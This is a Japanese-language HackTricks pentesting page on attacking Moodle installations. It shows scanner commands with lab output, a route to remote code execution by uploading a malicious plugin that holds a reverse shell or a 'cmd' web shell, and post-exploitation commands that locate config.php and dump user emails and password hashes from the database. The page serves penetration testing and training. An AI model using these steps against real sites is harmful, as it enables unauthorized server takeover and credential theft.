98 lines
3.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Moodle
{{#include ../../banners/hacktricks-training.md}}
## 自動スキャン
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
3.10.0-beta
[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
### moodlescan
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
### CMSMap
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
自動ツールは**moodleバージョンに影響を与える脆弱性を見つけるのにほとんど役に立たない**ことがわかりました。これらを**確認**するには[**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)を参照してください。
## **RCE**
**マネージャー**ロールを持っている必要があり、**"サイト管理"**タブ内にプラグインを**インストール**できます\*\*:\*\*
![](<../../images/image (630).png>)
マネージャーであれば、**このオプションを有効にする必要があるかもしれません**。moodleの特権昇格PoCでどのように行うかを見ることができます: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
次に、クラシックなpentest-monkey php r**ev shell**を含む**以下のプラグインをインストール**できますアップロードする前に解凍し、revshellのIPとポートを変更し、再圧縮する必要があります
{{#file}}
moodle-rce-plugin.zip
{{#endfile}}
または、[https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)からプラグインを使用して、"cmd"パラメータを持つ通常のPHPシェルを取得することもできます。
悪意のあるプラグインを起動するには、次のアドレスにアクセスする必要があります:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
## POST
### データベースの資格情報を見つける
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### データベースからの資格情報のダンプ
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
{{#include ../../banners/hacktricks-training.md}}